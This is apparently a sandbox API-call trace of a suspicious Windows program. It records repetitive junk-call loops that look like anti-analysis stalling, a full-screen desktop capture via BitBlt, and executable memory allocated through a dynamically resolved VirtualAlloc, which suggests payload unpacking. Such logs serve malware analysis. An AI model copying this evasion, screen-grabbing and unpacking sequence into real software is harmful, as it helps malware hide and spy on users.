[0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c5f8 [0171.977] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.977] LockResource (hResData=0x0) returned 0x0 [0171.977] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 [0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c618 [0171.977] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.977] LockResource (hResData=0x0) returned 0x0 [0171.977] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 [0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c638 [0171.977] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.977] LockResource (hResData=0x0) returned 0x0 [0171.977] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.977] WinWatchNotify () returned 0x0 [0171.977] timeGetTime () returned 0x113fc80 [0171.977] WinWatchOpen () returned 0x34c658 [0171.978] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.978] LockResource (hResData=0x0) returned 0x0 [0171.978] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.978] WinWatchNotify () returned 0x0 [0171.978] timeGetTime () returned 0x113fc80 [0171.978] WinWatchOpen () returned 0x34c678 [0171.978] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.978] LockResource (hResData=0x0) returned 0x0 [0171.978] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.978] WinWatchNotify () returned 0x0 [0171.978] timeGetTime () returned 0x113fc80 [0171.978] WinWatchOpen () returned 0x34c698 [0171.978] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.978] LockResource (hResData=0x0) returned 0x0 [0171.978] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.978] WinWatchNotify () returned 0x0 [0171.978] timeGetTime () returned 0x113fc81 [0171.978] WinWatchOpen () returned 0x34c6b8 [0171.978] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.978] LockResource (hResData=0x0) returned 0x0 [0171.978] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.978] WinWatchNotify () returned 0x0 [0171.978] timeGetTime () returned 0x113fc81 [0171.978] WinWatchOpen () returned 0x34c6d8 [0171.978] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.978] LockResource (hResData=0x0) returned 0x0 [0171.978] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.978] WinWatchNotify () returned 0x0 [0171.978] timeGetTime () returned 0x113fc81 [0171.978] WinWatchOpen () returned 0x34c6f8 [0171.978] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.978] LockResource (hResData=0x0) returned 0x0 [0171.978] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.978] WinWatchNotify () returned 0x0 [0171.978] timeGetTime () returned 0x113fc82 [0171.978] WinWatchOpen () returned 0x34c718 [0171.979] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.979] LockResource (hResData=0x0) returned 0x0 [0171.979] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.979] WinWatchNotify () returned 0x0 [0171.979] timeGetTime () returned 0x113fc82 [0171.979] WinWatchOpen () returned 0x34c738 [0171.979] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.979] LockResource (hResData=0x0) returned 0x0 [0171.979] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.979] WinWatchNotify () returned 0x0 [0171.979] timeGetTime () returned 0x113fc82 [0171.979] WinWatchOpen () returned 0x34c758 [0171.979] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.979] LockResource (hResData=0x0) returned 0x0 [0171.979] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.979] WinWatchNotify () returned 0x0 [0171.979] timeGetTime () returned 0x113fc82 [0171.979] WinWatchOpen () returned 0x34c778 [0171.979] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.979] LockResource (hResData=0x0) returned 0x0 [0171.979] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.979] WinWatchNotify () returned 0x0 [0171.979] timeGetTime () returned 0x113fc82 [0171.979] WinWatchOpen () returned 0x34c7b8 [0171.979] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.979] LockResource (hResData=0x0) returned 0x0 [0171.979] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.979] WinWatchNotify () returned 0x0 [0171.979] timeGetTime () returned 0x113fc82 [0171.979] WinWatchOpen () returned 0x34c7d8 [0171.979] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.979] LockResource (hResData=0x0) returned 0x0 [0171.979] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.979] WinWatchNotify () returned 0x0 [0171.979] timeGetTime () returned 0x113fc83 [0171.979] WinWatchOpen () returned 0x34c7f8 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.980] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.980] WinWatchNotify () returned 0x0 [0171.980] timeGetTime () returned 0x113fc83 [0171.980] WinWatchOpen () returned 0x34c818 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.980] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.980] WinWatchNotify () returned 0x0 [0171.980] timeGetTime () returned 0x113fc83 [0171.980] WinWatchOpen () returned 0x34c838 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.980] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.980] WinWatchNotify () returned 0x0 [0171.980] timeGetTime () returned 0x113fc83 [0171.980] WinWatchOpen () returned 0x34c858 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.980] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.980] WinWatchNotify () returned 0x0 [0171.980] timeGetTime () returned 0x113fc83 [0171.980] WinWatchOpen () returned 0x34c878 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.980] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.980] WinWatchNotify () returned 0x0 [0171.980] timeGetTime () returned 0x113fc83 [0171.980] WinWatchOpen () returned 0x34c898 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.980] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.980] WinWatchNotify () returned 0x0 [0171.980] timeGetTime () returned 0x113fc84 [0171.980] WinWatchOpen () returned 0x34c8b8 [0171.980] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.980] LockResource (hResData=0x0) returned 0x0 [0171.981] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.981] WinWatchNotify () returned 0x0 [0171.981] timeGetTime () returned 0x113fc84 [0171.981] WinWatchOpen () returned 0x34c8d8 [0171.981] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.981] LockResource (hResData=0x0) returned 0x0 [0171.981] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.981] WinWatchNotify () returned 0x0 [0171.981] timeGetTime () returned 0x113fc84 [0171.981] WinWatchOpen () returned 0x34c8f8 [0171.981] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.981] LockResource (hResData=0x0) returned 0x0 [0171.981] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.981] WinWatchNotify () returned 0x0 [0171.981] timeGetTime () returned 0x113fc84 [0171.981] WinWatchOpen () returned 0x34c918 [0171.981] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.981] LockResource (hResData=0x0) returned 0x0 [0171.981] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.981] WinWatchNotify () returned 0x0 [0171.981] timeGetTime () returned 0x113fc84 [0171.981] WinWatchOpen () returned 0x34c938 [0171.981] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.981] LockResource (hResData=0x0) returned 0x0 [0171.981] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.981] WinWatchNotify () returned 0x0 [0171.981] timeGetTime () returned 0x113fc84 [0171.981] WinWatchOpen () returned 0x34c958 [0171.981] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0171.981] LockResource (hResData=0x0) returned 0x0 [0171.981] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0171.989] Escape (in: hdc=0xc, iEscape=19, cjIn=5, pvIn="¸+\"\x02¨\x14\"\x02", pvOut=0x0 | out: pvOut=0x0) returned 0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.989] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] SendMessageA (hWnd=0x0, Msg=0x101e, wParam=0x1, lParam=0xffff) returned 0x0 [0171.990] IsDlgButtonChecked (hDlg=0x0, nIDButton=0) returned 0x0 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.990] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.991] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.992] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0171.992] GetWindowLongA (hWnd=0x0, nIndex=-6) returned 0 [0171.992] GetDesktopWindow () returned 0x10010 [0171.992] GetDC (hWnd=0x10010) returned 0x40107c2 [0171.992] GetClientRect (in: hWnd=0x10010, lpRect=0x18f54c | out: lpRect=0x18f54c) returned 1 [0171.992] CreateCompatibleDC (hdc=0x40107c2) returned 0xb01028d [0171.992] CreateDIBSection (in: hdc=0xb01028d, lpbmi=0x18f4d8, usage=0x0, ppvBits=0x18f528, hSection=0x0, offset=0x0 | out: ppvBits=0x18f528) returned 0xb05080f [0171.992] SelectObject (hdc=0xb01028d, h=0xb05080f) returned 0x185000f [0171.992] BitBlt (hdc=0xb01028d, x=0, y=0, cx=1440, cy=900, hdcSrc=0x40107c2, x1=0, y1=0, rop=0xcc0020) returned 1 [0172.201] ReleaseDC (hWnd=0x10010, hDC=0x40107c2) returned 1 [0172.202] GdipAlloc (size=0x10) returned 0x0 [0172.202] LoadLibraryA (lpLibFileName="kernel32") returned 0x762e0000 [0172.202] SelectObject (hdc=0xb01028d, h=0x185000f) returned 0xb05080f [0172.202] DeleteObject (ho=0xb05080f) returned 1 [0172.567] DeleteDC (hdc=0xb01028d) returned 1 [0172.567] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18f470 | out: ppstm=0x18f470*=0x3191b8) returned 0x0 [0172.568] GetProcAddress (hModule=0x762e0000, lpProcName="VirtualAlloc") returned 0x762f1856 [0172.568] GdipAlloc (size=0x10) returned 0x0 [0172.568] VirtualAlloc (lpAddress=0x0, dwSize=0x34000, flAllocationType=0x3000, flProtect=0x40) returned 0x620000 [0172.569] IUnknown:Release (This=0x3191b8) returned 0x0 [0172.569] DialogBoxParamA (hInstance=0x400000, lpTemplateName=0xca, hWndParent=0x0, lpDialogFunc=0x429e70, dwInitParam=0x0) returned 0xffffffff [0172.569] IsWindow (hWnd=0x0) returned 0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.569] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0172.570] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 